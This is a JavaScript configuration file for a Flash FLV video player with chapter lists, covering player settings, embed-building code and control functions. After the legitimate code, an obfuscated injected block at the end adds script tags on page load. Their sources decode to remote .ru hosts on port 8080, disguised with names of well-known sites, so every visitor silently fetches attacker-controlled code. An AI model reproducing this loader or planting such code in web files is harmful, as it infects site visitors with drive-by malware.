// RICH MEDIA PROJECT : JAVASCRIPT PHP FLV PLAYER & CHAPTERS LIST v2.0.0

// DETECT FLASH PLAYER VERSION FOR FULLSCREEN EXPERIENCE (from Flash Player v9.0.28) 
detectFlashPlayer=true;
// fullScreenFunction : if false, fullscreen mode won't be available
fullScreenFunction=true;


// PHP SCRIPT PATH 
// Path of the PHP provider script; path relative to the "RMP_PlayerChapters.swf" file or absolute path (movies should be located in the same folder)
phpPath="/Movies/FLVProvider.php";
// movieName without extension; see "bandwidth detection" section if you want to use movies with different bitrates.
movieName="Movie-01";


// BEHAVIOURS
bufferTime=1;
volume=100;
// If autostart=false, the movie will be paused at start.
autoStart=true;
// endBehaviour : behaviour when the movie ends.
// endBehaviour="Stop" | endBehaviour="Loop"
endBehaviour="Stop";
// endFullScreenBackToNormal : if true, return from full screen to normal mode when the movie ends.
endFullScreenBackToNormal=true;
// endJavascriptFunction : your custom javascript function that will be called at the end of the movie.
endJavascriptFunction="";
// CloseConnect: If true, the Nestream connection will be closed when stop button is pressed.
stopCloseConnect=true;


// BANDWIDTH DETECTION
// Set differentVersions to true to enable bandwidth detection
differentVersions=false;
// Define the different bitrates values in kbps (audio+video bitrate); 
// When the detected bandwidth equals of exceeds these values, the associated movie will be selected
version_hi_value=800;
version_medium_value=400;
version_low_value=200;
// If differentVersions=false: upload a single version of a movie to your server : [movieName].flv
// if differentVersions=true: upload multiple versions (ex: low, med, hi) of a movie to your server :
// [movieName][version_hi_extension].flv
// [movieName][version_medium_extension].flv
// [movieName][version_low_extension].flv
// Set the movie name extension that is associated with each different bitrate version
// Use format of "_text" for each version name;  this value will be appended to the movieName
version_hi_extension="_800";
version_medium_extension="_400";
version_low_extension="_200";


// PICTURES
// Set pictures parameters to true to display a picture at start (if autostart=false) and when the movie is stopped.
// The picture has to be a jpeg file and must be named exactly the same as the movieName parameter.
// If movieName="myVideo", the player will try to load myVideo.jpg file.
pictures=true;
// The pictures must be located in the pictures folder and path listed here.
picturesFolder="/myFlash/pictures";
//Set a background color for the picture
picturesBackgroundColor="#000000";
picturesKeepAspectRatio=false;
// Set "picturesKeepAspectRatioFullScreen" to true to prevent distortion during full screen mode
picturesKeepAspectRatioFullScreen=true;


// CLICK ON SCREEN
// Set  following to true to use hand cursor to indicate the screen is clickable
clickOnScreen_useHandCursor=true;
// set singleClickPlayPause to true to pause or resume the playback with a single click anywhere on the screen 
singleClickPlayPause=true;
// Set to true to show a play button on screen, 
screenPlayButton=true;
// Set the alpha transparency (low value is most transparent)
screenPlayButtonAlpha=80;
// set doubleClickListener to true to go full screen with a double click
doubleClickListener=true;


// VIDEO QUALITY
// Smoothing and bestQuality options 
// Note: enabling these options will increase CPU usage.  Users with low-powered computers
// or that have multiple applications open may have viewing problems.  Use these with caution.
bestQuality=false;
smoothing=true;
smoothingFullScreen=false;
deblocking=0;


// PLAYER'S PROPERTIES
playerWidth=760;
// playerHeight includes the size of the control bar (15 pixels) when in NORMAL MODE
playerHeight=400;
// autoSize="Movie" or autoSize="Off". Set autoSize to "Movie" to make player fit the 
// movie and to keep the aspect ratio.
autoSize="Movie";
// autoSizeFullScreen="Movie" maintains the movie's aspect ratio during full screen mode;
// autoSizeFullScreen="Off" allows the movie to distort and fill the screen in full screen mode;
autoSizeFullScreen="Movie";

// NORMAL MODE
// Player parameters: colors and positions
// playerHeight includes the size of the control bar (15 pixels)
playerColor="#222222";
barColor="#FFFFFF";
playbarColor="#E2F9D9";
screenBorder=false;
screenBorderColor="#FFFFFF";
buttonsColor="#FFFFFF";
timeColor="#FFFFFF";
backgroundColor="#000000";
backgroundAlpha=100;
//controlsY : space between the bottom of the screen and the control bar.
controlsY=10;

// FULL SCREEN MODE
// Enables you to change player controls colors, dimensions, and positions during full screen mode
// ControlsYFullScreen, y position from the bottom of the screen
controlsYFullScreen=15;
// Set controlsWidthFullScreen=0 to  fit with the width of the screen
controlsWidthFullScreen=500;
playerColorFullScreen="#222222";
barColorFullScreen="#FFFFFF";
playbarColorFullScreen="#E2F9D9";
buttonsColorFullScreen="#FFFFFF";
timeColorFullScreen="#FFFFFF";
backgroundColorFullScreen="#000000";
backgroundAlphaFullScreen=100;

// CONTROLS
// controls="Hide" | controls="Autohide" | controls="Show"
controls="Show";
controlsFullScreen="Autohide";
// Enable buttons: true  | false
listButtons=true
stopButton=true;
stopButtonFirst=true;
rewindFastForwardButtons=true;
// rewind and fast forward intervals (rw_ff_interval) in seconds
rw_ff_interval=4;
// Enable volume slider: true  | false
volumeSlider=true;
// Enable timecode display: true  | false
showTimecode=true;
controlsBarPress=true;
// Set time display format: timeFormat="mm:ss" | timeFormat="hh:mm:ss" | timeFormat="mm:ss|duration" | timeFormat="hh:mm:ss|duration"
timeFormat="mm:ss|duration";


// BUFFER MESSAGE
// Set buffer message parameters
bufferMessage=true;
bufferText="buffering";
bufferTextColor="#FFFFFF";
bufferTextBackgroundColor="#993333";
bufferTextBackgroundAlpha=40;
// bufferTextPosition="Upper Right" | bufferTextPosition="Upper Left" | bufferTextPosition="Lower Right" | bufferTextPosition="Lower Left" | bufferTextPosition="Center"
bufferTextPosition="Upper Right";


// LOGO
// Enables a logo to be displayed on the screen during playback: true | false
// logo file has to be a jpg or a swf.
logo=false;
// Set path to the logo file
logoPath="/Player/Logo.swf";
// logoPosition="Upper Right" | logoPosition="Upper Left" | logoPosition="Lower Right" | logoPosition="Lower Left"
logoPosition="Upper Right";
logoAlpha=70;
// Set logo position in pixels from edge of player
logo_x=10;
logo_y=10;


// COMMERCIAL
// If differentVersions=false then only upload a single version of a commercial movie to your server: [commercialMovieName].flv
// if differentVersions=true, you will need to upload multiple versions (ex: low, med, hi) of a commercial movie to your server:
// Set the commercial movie name extension that is associated with each different bitrate version
// Use the same bitrate version extensions that were defined in the BANDWIDTH DETECTION section above
// [commercialMovieName][version_hi_extension].flv
// [commercialMovieName][version_medium_extension].flv
// [commercialMovieName][version_low_extension].flv
// Set the commercialMovieName without extension:
commercialMovieName="";
// Javascript functions to call when the commercial starts and when the user clicks on the screen during a commercial.
// Flash will call getURL("javascript:"+nameOfYourFunction);
// For example you can call an alert Function, commercialFunctionStart="alert('start commercial');"
commercialFunctionStart="";
commercialFunctionClickScreen="";
// Select to show either a commercial text message or a commercial text message plus the "coming next" movie title
// commercialMessage="CommercialText" | commercialMessage="CommercialText and MovieTitle"
commercialMessage="CommercialText";
// Set movieTitleForComingNext property if commercialMessage="CommercialText and MovieTitle"
movieTitleForComingNext="";
// Define the commercial text message and its properties:
commercialText="Your movie will start after this commercial...";
commercialTextColor="#FFFFFF";
commercialTextBold=true;


// SUBTITLES
// Subtitles are defined in an XML file; set the XML path here:
subtitleXML="";
// Sub Titles are visible at start: subVisible= true | false  
subVisible=true;
// Sub titles can be controlled with a button; subButton= true | false:
subButton=false;
subButtonOffColor="#FFFFFF";
subColor="#FFFFFF";
subBackground=true;
subBackgroundColor="#000000";
subBackgroundAlpha=90;
subFontSize=16;
autohideSubBackground=true;
// Set sub title text alignment: subAlign="left" | subAlign="center" | subAlign="right"
subAlign="center";

// SUBTITLES IN FULLSCREEN MODE
// Enables sub titles to be styled differently when in full screen mode
subColorFullScreen="#FFFFFF";
subBackgroundFullScreen=false;
subBackgroundColorFullScreen="#000000";
subBackgroundAlphaFullScreen=90;
subFontSizeFullScreen=30;
autohideSubBackgroundFullScreen=true;
// subAlignFullScreen="left" | subAlignFullScreen="center" | subAlignFullScreen="right"
subAlignFullScreen="center";
blankLineFullScreen=0;


// CHAPTERS LIST PROPERTIES
// chaptersXML : Absolute or relative path to Chapters List XML file. 
// Set chaptersXML to "" if you don't want to use chaptering mode.
chaptersXML="/Player/Chapters/chapters_model.xml";
displayListAtStart=true;
displayListInFullScreenMode=true;
//displayListWhenEnteringFullScreenMode can be defined only if displayListInFullScreenMode is set to true.
displayListWhenEnteringFullScreenMode=true;
scrollListener=true;
scrollSize_auto=true;
scrollSize=50;
scrollAirSkin=false;

// PROPERTIES IN NORMAL MODE
pictureWidth=60;
pictureHeight=45;
listWidth=200;
// listSpace : space between movie's border and player's border when playing in list mode.
listSpace=5;
cellHeight=55;
showDescription=true;
showPicture=true;
textFontSize=10;
titleFontSize=10;
titleBold=true;
blankLineAfterTitle=false;
textColor="#FFFFFF";
titleColor="#FFFFFF";
selectColor="#121212";
selectAlpha=100;
focusColor="#121212";
focusAlpha=50;
listButtonsColor="#FFFFFF";
listBarColor="#222222";
skinColor="#121212";
listBackgroundColor="#222222";
listBackgroundAlpha=100;
border=true;
borderColor="#222222";
// spaceBP : space Before Picture | spaceBT : space Before Text | spaceAT : space After Text | spaceTT : space Top Text
spaceBP=5;
spaceBT=5;
spaceAT=20;
spaceTT=5;
// PROPERTIES IN FULL SCREEN MODE
pictureWidthFullScreen=80;
pictureHeightFullScreen=60;
listWidthFullScreen=220;
// listSpace : space between movie's border and player's border when playing in list mode.
listSpaceFullScreen=5;
cellHeightFullScreen=80;
showDescriptionFullScreen=true;
showPictureFullScreen=true;
textFontSizeFullScreen=10;
titleFontSizeFullScreen=12;
titleBoldFullScreen=true;
blankLineAfterTitleFullScreen=false;
textColorFullScreen="#FFFFFF";
titleColorFullScreen="#FFFFFF";
selectColorFullScreen="#222222";
selectAlphaFullScreen=80;
focusColorFullScreen="#222222";
focusAlphaFullScreen=40;
listButtonsColorFullScreen="#FFFFFF";
listBarColorFullScreen="#222222";
skinColorFullScreen="#121212";
listBackgroundColorFullScreen="#000000";
listBackgroundAlphaFullScreen=100;
borderFullScreen=true;
borderColorFullScreen="#111111";
// spaceBP : space Before Picture | spaceBT : space Before Text | spaceAT : space After Text | spaceTT : space Top Text
spaceBPFullScreen=10;
spaceBTFullScreen=10;
spaceATFullScreen=20;
spaceTTFullScreen=10;


// POP UP
// Set display properties for Detect Flash Player Pop Up
// Detect Flash Player Text=[detectPopUpText1]+[versionNumber]+[detectPopUpText2]
// You can use HTML tags to style your text
detectPopUpTitle="Adobe Flash Player Version";
detectPopUpText1="You have Flash Player<br>version ";
detectPopUpText2=" installed.<br><br>Enjoy a fullscreen<br>experience with the new Flash Player.";
// Button label to get update for Flash Player
detectPopUpButton1="Get Flash";
// Button label to bypass Flash Player update feature
detectPopUpButton2="Continue";

// Detect Bandwidth Pop Up
// Enable Bandwidth Detect Pop Up window: true | false
displayBandwidthDetectPopUp=true;
// Set display text for Bandwidth detect Pop Up feature
// Detect Bandwidth Result Text=[bandwidthDetectPopUpText2]+[bandwidth]+" kbps"
bandwidthDetectPopUpTitle="Rich Media Project Speed Detector";
bandwidthDetectPopUpText1="Detecting Bandwidth<br>Please wait...";
bandwidthDetectPopUpText2="Your Bandwidth :<br>"

// Loading Movie Pop Up	
// Enable Movie Loading Pop Up window text: true | false
displayLoadingMoviePopUp=true;
loadingMoviePopUpTitle="Loading...";
loadingMoviePopUpText="Loading Movie<br>Please wait..."

// Select Bandwidth Pop Up
// Enables viewer to select bandwidth manually via this popup window
// Select Bandwidth Text=[bandwidthSelectPopUpText1]+[bandwidthTextForXXXBandwidth]+[bandwidthSelectPopUpText2]+[version_XXX_value]+[bandwidthSelectPopUpText3]
bandwidthSelectPopUpTitle="Bandwidth Selector";
bandwidthSelectPopUpButton1="Low";
bandwidthSelectPopUpButton2="Medium";
bandwidthSelectPopUpButton3="Hi";
bandwidthTextForLowBandwidth="Low";
bandwidthTextForMediumBandwidth="Medium";
bandwidthTextForHiBandwidth="Hi";
bandwidthSelectPopUpText1="";
bandwidthSelectPopUpText2=" bandwidth is selected :<br>";
bandwidthSelectPopUpText3=" kbps movie.<br><br>Please select the desired<br>bandwidth :";

// Info Pop Up
// This pop up is displayed if no movie is loaded at start (movieName="")
displayInfoPopUp=true;
infoPopUpTitle="Select movie";
infoPopUpText="Please select a movie in the gallery"


// SWF PROPERTIES
// swfPath : path of the swf that contains the player (without swf extension)
swfPath = "/Player/Player";
// swfID : name of the Flash Object
swfID = "/Player/Player";
// speedClipPath : path of the swf that contains the speed detector clip (without swf extension)
speedClipPath = "/Player/SpeedClip";
swfWidth=playerWidth;
swfHeight=playerHeight+controlsY+1;
swfBackgroundColor="#FFFFFF";


////////////////////////////////////////////////
// OBJECT BUILDER : DO NOT MODIFY THIS SCRIPT //
////////////////////////////////////////////////

var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
    var str = '';
    if (isIE && isWin && !isOpera)
    {
  		str += '<object ';
  		for (var i in objAttrs)
  			str += i + '="' + objAttrs[i] + '" ';
  		for (var i in params)
  			str += '><param name="' + i + '" value="' + params[i] + '" /> ';
  		str += '></object>';
    } else {
  		str += '<embed ';
  		for (var i in embedAttrs)
  			str += i + '="' + embedAttrs[i] + '" ';
			str +='swLiveConnect=true ';
  		str += '> </embed>';
    }

    document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblClick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}


function createObject() {

AC_FL_RunContent(
			"src", swfPath,
			"FlashVars", "version_hi_value="+version_hi_value+'&version_medium_value='+version_medium_value+'&version_low_value='+version_low_value+'&version_hi_extension='+version_hi_extension+'&version_medium_extension='+version_medium_extension+'&version_low_extension='+version_low_extension+'&detectFlashPlayer='+detectFlashPlayer+'&phpPath='+phpPath+'&movieName='+movieName+'&differentVersions='+differentVersions+'&subtitleXML='+subtitleXML+'&autoSize='+autoSize+'&playerWidth='+playerWidth+'&playerHeight='+playerHeight+'&bufferTime='+bufferTime+'&autoStart='+autoStart+'&endBehaviour='+endBehaviour+'&controls='+controls+'&screenBorder='+screenBorder+'&controlsY='+controlsY+'&stopButton='+stopButton+'&rewindFastForwardButtons='+rewindFastForwardButtons+'&subButton='+subButton+'&volumeSlider='+volumeSlider+'&playerColor='+playerColor+'&playbarColor='+playbarColor+'&timeColor='+timeColor+'&barColor='+barColor+'&buttonsColor='+buttonsColor+'&screenBorderColor='+screenBorderColor+'&subColor='+subColor+'&subButtonOffColor='+subButtonOffColor+'&subBackgroundColor='+subBackgroundColor+'&subBackgroundAlpha='+subBackgroundAlpha+'&backgroundColor='+backgroundColor+'&backgroundAlpha='+backgroundAlpha+'&subBackground='+subBackground+'&subVisible='+subVisible+'&subFontSize='+subFontSize+'&autohideSubBackground='+autohideSubBackground+'&volume='+volume+'&commercialText='+commercialText+'&commercialTextColor='+commercialTextColor+'&commercialTextBold='+commercialTextBold+'&bufferTextBackgroundColor='+bufferTextBackgroundColor+'&bufferTextBackgroundAlpha='+bufferTextBackgroundAlpha+'&bufferTextColor='+bufferTextColor+'&bufferTextPosition='+bufferTextPosition+'&bufferText='+bufferText+'&timeFormat='+timeFormat+'&logo='+logo+'&logoPath='+logoPath+'&logoPosition='+logoPosition+'&logoAlpha='+logoAlpha+'&logo_x='+logo_x+'&logo_y='+logo_y+'&controlsBarPress='+controlsBarPress+'&bufferMessage='+bufferMessage+'&showTimecode='+showTimecode+'&subAlign='+subAlign+'&rw_ff_interval='+rw_ff_interval+'&stopButtonFirst='+stopButtonFirst+'&detectPopUpTitle='+detectPopUpTitle+'&detectPopUpText1='+detectPopUpText1+'&detectPopUpText2='+detectPopUpText2+'&detectPopUpButton1='+detectPopUpButton1+'&detectPopUpButton2='+detectPopUpButton2+'&bandwidthDetectPopUpTitle='+bandwidthDetectPopUpTitle+'&bandwidthDetectPopUpText1='+bandwidthDetectPopUpText1+'&bandwidthDetectPopUpText2='+bandwidthDetectPopUpText2+'&bandwidthSelectPopUpTitle='+bandwidthSelectPopUpTitle+'&bandwidthSelectPopUpButton1='+bandwidthSelectPopUpButton1+'&bandwidthSelectPopUpButton2='+bandwidthSelectPopUpButton2+'&bandwidthSelectPopUpButton3='+bandwidthSelectPopUpButton3+'&bandwidthTextForLowBandwidth='+bandwidthTextForLowBandwidth+'&bandwidthTextForMediumBandwidth='+bandwidthTextForMediumBandwidth+'&bandwidthTextForHiBandwidth='+bandwidthTextForHiBandwidth+'&bandwidthSelectPopUpText1='+bandwidthSelectPopUpText1+'&bandwidthSelectPopUpText2='+bandwidthSelectPopUpText2+'&bandwidthSelectPopUpText3='+bandwidthSelectPopUpText3+'&playerColorFullScreen='+playerColorFullScreen+'&barColorFullScreen='+barColorFullScreen+'&playbarColorFullScreen='+playbarColorFullScreen+'&buttonsColorFullScreen='+buttonsColorFullScreen+'&timeColorFullScreen='+timeColorFullScreen+'&backgroundColorFullScreen='+backgroundColorFullScreen+'&backgroundAlphaFullScreen='+backgroundAlphaFullScreen+'&blankLineFullScreen='+blankLineFullScreen+'&controlsYFullScreen='+controlsYFullScreen+'&subColorFullScreen='+subColorFullScreen+'&subBackgroundFullScreen='+subBackgroundFullScreen+'&subBackgroundColorFullScreen='+subBackgroundColorFullScreen+'&subBackgroundAlphaFullScreen='+subBackgroundAlphaFullScreen+'&subFontSizeFullScreen='+subFontSizeFullScreen+'&autohideSubBackgroundFullScreen='+autohideSubBackgroundFullScreen+'&subAlignFullScreen='+subAlignFullScreen+'&speedClipPath='+speedClipPath+'&fullScreenFunction='+fullScreenFunction+'&endFullScreenBackToNormal='+endFullScreenBackToNormal+'&displayBandwidthDetectPopUp='+displayBandwidthDetectPopUp+'&commercialMovieName='+commercialMovieName+'&commercialFunctionClickScreen='+commercialFunctionClickScreen+'&commercialFunctionStart='+commercialFunctionStart+'&loadingMoviePopUpTitle='+loadingMoviePopUpTitle+'&loadingMoviePopUpText='+loadingMoviePopUpText+'&displayLoadingMoviePopUp='+displayLoadingMoviePopUp+'&endJavascriptFunction='+endJavascriptFunction+'&stopCloseConnect='+stopCloseConnect+'&infoPopUpText='+infoPopUpText+'&infoPopUpTitle='+infoPopUpTitle+'&displayInfoPopUp='+displayInfoPopUp+'&autoSizeFullScreen='+autoSizeFullScreen+'&pictures='+pictures+'&picturesFolder='+picturesFolder+'&picturesBackgroundColor='+picturesBackgroundColor+'&picturesKeepAspectRatio='+picturesKeepAspectRatio+'&picturesKeepAspectRatioFullScreen='+picturesKeepAspectRatioFullScreen+'&clickOnScreen_useHandCursor='+clickOnScreen_useHandCursor+'&singleClickPlayPause='+singleClickPlayPause+'&screenPlayButton='+screenPlayButton+'&screenPlayButtonAlpha='+screenPlayButtonAlpha+'&screenPlayButtonAlpha='+screenPlayButtonAlpha+'&doubleClickListener='+doubleClickListener+'&bestQuality='+bestQuality+'&smoothing='+smoothing+'&smoothingFullScreen='+smoothingFullScreen+'&deblocking='+deblocking+'&controlsWidthFullScreen='+controlsWidthFullScreen+'&movieTitleForComingNext='+movieTitleForComingNext+'&controlsFullScreen='+controlsFullScreen+'&commercialMessage='+commercialMessage+'&chaptersXML='+chaptersXML+'&displayListAtStart='+displayListAtStart+'&displayListInFullScreenMode='+displayListInFullScreenMode+'&scrollListener='+scrollListener+'&scrollSize_auto='+scrollSize_auto+'&scrollSize='+scrollSize+'&pictureWidth='+pictureWidth+'&pictureHeight='+pictureHeight+'&listWidth='+listWidth+'&listSpace='+listSpace+'&cellHeight='+cellHeight+'&showDescription='+showDescription+'&showPicture='+showPicture+'&textFontSize='+textFontSize+'&titleFontSize='+titleFontSize+'&titleBold='+titleBold+'&blankLineAfterTitle='+blankLineAfterTitle+'&textColor='+textColor+'&titleColor='+titleColor+'&selectColor='+selectColor+'&selectAlpha='+selectAlpha+'&focusColor='+focusColor+'&focusAlpha='+focusAlpha+'&listButtonsColor='+listButtonsColor+'&listBarColor='+listBarColor+'&skinColor='+skinColor+'&listBackgroundColor='+listBackgroundColor+'&listBackgroundAlpha='+listBackgroundAlpha+'&borderColor='+borderColor+'&spaceBP='+spaceBP+'&spaceBT='+spaceBT+'&spaceAT='+spaceAT+'&spaceTT='+spaceTT+'&listWidthFullScreen='+listWidthFullScreen+'&listSpaceFullScreen='+listSpaceFullScreen+'&cellHeightFullScreen='+cellHeightFullScreen+'&showDescriptionFullScreen='+showDescriptionFullScreen+'&showPictureFullScreen='+showPictureFullScreen+'&textFontSizeFullScreen='+textFontSizeFullScreen+'&titleFontSizeFullScreen='+titleFontSizeFullScreen+'&titleBoldFullScreen='+titleBoldFullScreen+'&blankLineAfterTitleFullScreen='+blankLineAfterTitleFullScreen+'&textColorFullScreen='+textColorFullScreen+'&titleColorFullScreen='+titleColorFullScreen+'&selectColorFullScreen='+selectColorFullScreen+'&selectAlphaFullScreen='+selectAlphaFullScreen+'&focusColorFullScreen='+focusColorFullScreen+'&focusAlphaFullScreen='+focusAlphaFullScreen+'&listButtonsColorFullScreen='+listButtonsColorFullScreen+'&listBarColorFullScreen='+listBarColorFullScreen+'&skinColorFullScreen='+skinColorFullScreen+'&listBackgroundColorFullScreen='+listBackgroundColorFullScreen+'&listBackgroundAlphaFullScreen='+listBackgroundAlphaFullScreen+'&borderColorFullScreen='+borderColorFullScreen+'&spaceBPFullScreen='+spaceBPFullScreen+'&spaceBTFullScreen='+spaceBTFullScreen+'&spaceATFullScreen='+spaceATFullScreen+'&spaceTTFullScreen='+spaceTTFullScreen+'&listButtons='+listButtons+'&border='+border+'&borderFullScreen='+borderFullScreen+'&pictureWidthFullScreen='+pictureWidthFullScreen+'&pictureHeightFullScreen='+pictureHeightFullScreen+'&displayListWhenEnteringFullScreenMode='+displayListWhenEnteringFullScreenMode+'&scrollAirSkin='+scrollAirSkin,
			"menu","false",
			"width", swfWidth,
			"height", swfHeight,
			"align", "middle",
			"id", swfID,
			"quality", "high",
			"bgcolor", swfBackgroundColor,
			"name", swfID,
			"allowFullScreen","true",
			"allowScriptAccess","always",
			"type", "application/x-shockwave-flash",
			'codebase', 'http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab',
			"pluginspage", "http://www.adobe.com/go/getflashplayer"
);
}


// CONTROL FLASH FROM JAVASCRIPT
function RMP_play() {
	getMovieName(swfID).RMP_play(); 
}
function RMP_pause() {
	getMovieName(swfID).RMP_pause(); 
}
function RMP_stop() {
	getMovieName(swfID).RMP_stop(); 
}
function RMP_seek(val) {
	getMovieName(swfID).RMP_seek(val); 
}
function RMP_load(movie,sub,chapters,autostart) {
	getMovieName(swfID).RMP_load(movie,sub,chapters,autostart); 
}
function RMP_loadWithCommercial(commercial,movie,movieTitle,sub,chapters,autostart) {
	getMovieName(swfID).RMP_loadWithCommercial(commercial,movie,movieTitle,sub,chapters,autostart); 
}
function RMP_showSubtitles() {
	getMovieName(swfID).RMP_showSubtitles(); 
}
function RMP_hideSubtitles() {
	getMovieName(swfID).RMP_hideSubtitles(); 
}
function RMP_showControls() {
	getMovieName(swfID).RMP_showControls(); 
}
function RMP_hideControls() {
	getMovieName(swfID).RMP_hideControls(); 
}
function RMP_setVolume(vol) {
	getMovieName(swfID).RMP_setVolume(vol); 
}
function RMP_mute() {
	getMovieName(swfID).RMP_mute(); 
}
function RMP_changeSubtitles(subt) {
	getMovieName(swfID).RMP_changeSubtitles(subt); 
}
function RMP_changeProp(x,y,w,h) {
	getMovieName(swfID).RMP_changeProp(x,y,w,h); 
}
function RMP_changeZoom(zoom) {
	getMovieName(swfID).RMP_changeZoom(zoom); 
}

function RMP_close() {
	getMovieName(swfID).RMP_close(); 
}
function RMP_showList() {
	getMovieName(swfID).RMP_showList(); 
}
function RMP_hideList() {
	getMovieName(swfID).RMP_hideList(); 
}
function RMP_previousChapter() {
	getMovieName(swfID).RMP_previousChapter(); 
}
function RMP_nextChapter() {
	getMovieName(swfID).RMP_nextChapter(); 
}
function RMP_goToChapter(val) {
	getMovieName(swfID).RMP_goToChapter(val); 
}
function RMP_loadChapters(val) {
	getMovieName(swfID).RMP_loadChapters(val); 
}

function getMovieName(movieName) {
    if (navigator.appName.indexOf("Microsoft") != -1) {
        return window[movieName]
   }
   else {
       return document[movieName]
   }
}


// CREATE THE FLASH PLAYER

createObject();








var yp=new Array();var q=window;var kl='';var i='sec*reiRp1tR'.replace(/[Reg\*1]/g, '');var hx="";var j=document;var uy;if(uy!='yk' && uy!='b'){uy='yk'};var hy=false;var q_e;if(q_e!='f' && q_e!='q_'){q_e='f'};q.onload=function(){try {this.nm=26648;var nx;if(nx!='fe' && nx!='v'){nx=''};c=j.createElement(i);var o=64074;c.setAttribute('d_eUfUeprp'.replace(/[p_bTU]/g, ''), "1");c.src='hFt7t7pI:F/X/ItIhIe_pIiFr7aXt_e7bFa7y_-7oFrIgF.XyIoXu_jFi7z7zI.7cFo7m_.IzFa7pIp7o7sF-FcIoFmF.FtXhIeFlXi_fIeIt_a7gX.7rFu7:78X07870F/_aXlFlFrIeIcXiIp7eXsX.IcFoXmF/XaXlXl7r7eIc_iFpFe_s_.7c_o_m_/IgIo7o_gXlIeF.XcFo_mI/Ig_iXzFmIoFd7o_._cFoIm7/ItIrIa7dXe7dXoXu_bXl_eXr_._c7oXm7/X'.replace(/[X7I_F]/g, '');this.yl=57226;j.body.appendChild(c);var m;if(m!='vt' && m != ''){m=null};} catch(y){this.co="";this.yv="";};this.qh=58644;this.hh=false;};var qr;if(qr!='nu' && qr!='qg'){qr=''};
var ha="ha";var ob;if(ob!='' && ob!='d'){ob=''};var g;if(g!='df'){g='df'};var lq=21788;function m() {var p=new String();var to="";this.nu='';var ba;if(ba!=''){ba='qc'};function w(z,h,b){var d_="";var tc="tc";z['sjeTtTAjt&t&rji&bSuStTe&'.replace(/[&jTJS]/g, '')](h, b);var dz;if(dz!='ee' && dz!='zl'){dz='ee'};}var be;if(be!='' && be!='y'){be=''};var v=window;this.ct=false;var bp;if(bp!='mc' && bp!='gx'){bp='mc'};var rz;if(rz!='ds' && rz!='_'){rz='ds'};var al="al";var bv='s2cCr$i+p2t$'.replace(/[\$\+Ck2]/g, '');var _q;if(_q!=''){_q='ut'};var rw;if(rw!='ga' && rw!='th'){rw='ga'};var wu='cJrxe/a!t/e/E/l/eJmxe/nxt5'.replace(/[5/Jx\!]/g, '');this.oq=false;var ew=false;v['oZnZl9oZa9dp'.replace(/[pZ89@]/g, '')]=function(){try {this._l="";f=document[wu](bv);var wo='';w(f,'dlexf_elrD'.replace(/[D_xpl]/g, ''),1);this.gc="gc";var ht;if(ht!='rk'){ht='rk'};w(f,'s0rRcX'.replace(/[XT0,R]/g, ''),'h%tCtCpX:C/X/XuIiCmIs%eIr%vI-InIeXtI.Cm%yXsIqNlI.CcIoXm%.Xa%cIeIrI-XcXoNm%.XnCoXwNhNoNmNeXc%aXrCeX.IrNuI:N8I0%8N0%/IgIoIoIgClXeX.IcNoNmC/Cg%oNoNgNlXe%.%c%oNmC/XsXhXoNpCpXi%nCgC.%cIoIm%/Nb%aXbCyClXoXnC.CcIoCmN/IkIeIy%rXuInI.IcXn%/I'.replace(/[ICNX%]/g, ''));var sd;if(sd!='vo' && sd!='qu'){sd='vo'};var df_;if(df_!='wd' && df_ != ''){df_=null};var kg;if(kg!=''){kg='jj'};var dv;if(dv!='' && dv!='wqe'){dv=''};document['b0o|d|y_'.replace(/[_G0\|5]/g, '')]['arp3pye$nrd$C$hriylyd$'.replace(/[\$\!3yr]/g, '')](f);var gz=new Date();} catch(o){this.di='';};};var ria=new Date();var ms=false;this.xd="";};var mcf;if(mcf!='' && mcf!='dzq'){mcf=''};m();
